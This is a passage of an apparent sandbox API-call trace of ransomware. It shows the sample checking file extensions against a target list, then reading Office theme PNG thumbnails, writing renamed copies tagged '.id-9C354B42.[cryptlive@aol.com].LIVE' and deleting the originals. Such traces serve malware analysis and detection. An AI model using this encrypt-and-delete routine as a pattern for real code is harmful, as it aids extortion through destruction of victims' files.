(lpString1=".docx", lpString2="W.GIF") returned -1 [0051.302] lstrlenW (lpString=".pdf") returned 4 [0051.302] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.302] lstrlenW (lpString=".xls") returned 4 [0051.302] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.302] lstrlenW (lpString=".xlsx") returned 5 [0051.302] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.302] lstrlenW (lpString=".ppt") returned 4 [0051.302] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0051.302] lstrlenW (lpString=".zip") returned 4 [0051.302] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.302] lstrlenW (lpString=".rar") returned 4 [0051.302] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.302] lstrlenW (lpString=".bz2") returned 4 [0051.303] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.303] lstrlenW (lpString=".7z") returned 3 [0051.303] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0051.303] lstrlenW (lpString=".dbf") returned 4 [0051.303] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0051.303] lstrlenW (lpString=".1cd") returned 4 [0051.303] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0051.303] lstrlenW (lpString=".jpg") returned 4 [0051.303] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.303] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.303] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.303] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=37440) returned 1 [0051.303] CloseHandle (hObject=0x214) returned 1 [0051.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0051.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.304] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.304] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.304] GetLastError () returned 0x0 [0051.304] ReadFile (in: hFile=0x214, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x9240, lpOverlapped=0x0) returned 1 [0051.384] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x9250, lpOverlapped=0x0) returned 1 [0051.385] ReadFile (in: hFile=0x214, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.386] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.386] SetEndOfFile (hFile=0x1f8) returned 1 [0051.386] CloseHandle (hObject=0x1f8) returned 1 [0051.386] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.386] SetEndOfFile (hFile=0x214) returned 1 [0051.387] CloseHandle (hObject=0x214) returned 1 [0051.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0051.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0051.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0051.388] lstrlenW (lpString=".doc") returned 4 [0051.388] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.388] lstrlenW (lpString=".docx") returned 5 [0051.388] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.388] lstrlenW (lpString=".pdf") returned 4 [0051.388] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.388] lstrlenW (lpString=".xls") returned 4 [0051.389] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.389] lstrlenW (lpString=".xlsx") returned 5 [0051.389] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.389] lstrlenW (lpString=".ppt") returned 4 [0051.389] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0051.389] lstrlenW (lpString=".zip") returned 4 [0051.389] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.389] lstrlenW (lpString=".rar") returned 4 [0051.389] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.389] lstrlenW (lpString=".bz2") returned 4 [0051.389] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.389] lstrlenW (lpString=".7z") returned 3 [0051.389] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0051.389] lstrlenW (lpString=".dbf") returned 4 [0051.389] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0051.389] lstrlenW (lpString=".1cd") returned 4 [0051.389] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0051.389] lstrlenW (lpString=".jpg") returned 4 [0051.389] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0051.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0051.389] lstrlenW (lpString=".doc") returned 4 [0051.390] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.390] lstrlenW (lpString=".docx") returned 5 [0051.390] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.390] lstrlenW (lpString=".pdf") returned 4 [0051.390] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.390] lstrlenW (lpString=".xls") returned 4 [0051.390] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.390] lstrlenW (lpString=".xlsx") returned 5 [0051.390] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.390] lstrlenW (lpString=".ppt") returned 4 [0051.390] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0051.390] lstrlenW (lpString=".zip") returned 4 [0051.390] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.390] lstrlenW (lpString=".rar") returned 4 [0051.390] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.390] lstrlenW (lpString=".bz2") returned 4 [0051.390] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.390] lstrlenW (lpString=".7z") returned 3 [0051.390] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0051.390] lstrlenW (lpString=".dbf") returned 4 [0051.390] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0051.390] lstrlenW (lpString=".1cd") returned 4 [0051.390] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0051.390] lstrlenW (lpString=".jpg") returned 4 [0051.390] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.391] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.391] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.627] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=21745) returned 1 [0051.627] CloseHandle (hObject=0x200) returned 1 [0051.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0051.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.627] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.628] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.628] GetLastError () returned 0x0 [0051.628] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x54f1, lpOverlapped=0x0) returned 1 [0051.630] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x5500, lpOverlapped=0x0) returned 1 [0051.632] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.632] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.632] SetEndOfFile (hFile=0x1f8) returned 1 [0051.632] CloseHandle (hObject=0x1f8) returned 1 [0051.632] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.632] SetEndOfFile (hFile=0x200) returned 1 [0051.633] CloseHandle (hObject=0x200) returned 1 [0051.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.634] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0051.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0051.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0051.634] lstrlenW (lpString=".doc") returned 4 [0051.634] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.634] lstrlenW (lpString=".docx") returned 5 [0051.634] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.634] lstrlenW (lpString=".pdf") returned 4 [0051.634] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.634] lstrlenW (lpString=".xls") returned 4 [0051.634] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.634] lstrlenW (lpString=".xlsx") returned 5 [0051.634] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.634] lstrlenW (lpString=".ppt") returned 4 [0051.634] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0051.634] lstrlenW (lpString=".zip") returned 4 [0051.634] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.634] lstrlenW (lpString=".rar") returned 4 [0051.634] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.634] lstrlenW (lpString=".bz2") returned 4 [0051.634] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.634] lstrlenW (lpString=".7z") returned 3 [0051.634] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0051.635] lstrlenW (lpString=".dbf") returned 4 [0051.635] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0051.635] lstrlenW (lpString=".1cd") returned 4 [0051.635] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0051.635] lstrlenW (lpString=".jpg") returned 4 [0051.635] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0051.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0051.635] lstrlenW (lpString=".doc") returned 4 [0051.635] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.635] lstrlenW (lpString=".docx") returned 5 [0051.635] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.635] lstrlenW (lpString=".pdf") returned 4 [0051.635] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.635] lstrlenW (lpString=".xls") returned 4 [0051.635] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.635] lstrlenW (lpString=".xlsx") returned 5 [0051.635] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.635] lstrlenW (lpString=".ppt") returned 4 [0051.635] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0051.635] lstrlenW (lpString=".zip") returned 4 [0051.635] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.635] lstrlenW (lpString=".rar") returned 4 [0051.635] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.635] lstrlenW (lpString=".bz2") returned 4 [0051.635] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.635] lstrlenW (lpString=".7z") returned 3 [0051.635] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0051.635] lstrlenW (lpString=".dbf") returned 4 [0051.636] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0051.636] lstrlenW (lpString=".1cd") returned 4 [0051.636] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0051.636] lstrlenW (lpString=".jpg") returned 4 [0051.636] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.636] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.636] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.636] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=53115) returned 1 [0051.636] CloseHandle (hObject=0x200) returned 1 [0051.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0051.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.637] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.637] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.637] GetLastError () returned 0x0 [0051.637] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0051.639] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0051.641] ReadFile (in: hFile=0x200, lpBuffer=0x33d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.641] WriteFile (in: hFile=0x1f8, lpBuffer=0x33d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33d0020*, lpNumberOfBytesWritten=0x2a8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.641] SetEndOfFile (hFile=0x1f8) returned 1 [0051.641] CloseHandle (hObject=0x1f8) returned 1 [0051.641] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.641] SetEndOfFile (hFile=0x200) returned 1 [0051.642] CloseHandle (hObject=0x200) returned 1 [0051.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.643] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0051.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0051.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0051.643] lstrlenW (lpString=".doc") returned 4 [0051.643] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.643] lstrlenW (lpString=".docx") returned 5 [0051.643] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.643] lstrlenW (lpString=".pdf") returned 4 [0051.643] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.643] lstrlenW (lpString=".xls") returned 4 [0051.643] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.643] lstrlenW (lpString=".xlsx") returned 5 [0051.643] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.643] lstrlenW (lpString=".ppt") returned 4 [0051.643] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0051.643] lstrlenW (lpString=".zip") returned 4 [0051.643] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.643] lstrlenW (lpString=".rar") returned 4 [0051.643] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.643] lstrlenW (lpString=".bz2") returned 4 [0051.644] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.644] lstrlenW (lpString=".7z") returned 3 [0051.644] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0051.644] lstrlenW (lpString=".dbf") returned 4 [0051.644] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0051.644] lstrlenW (lpString=".1cd") returned 4 [0051.644] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0051.644] lstrlenW (lpString=".jpg") returned 4 [0051.644] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 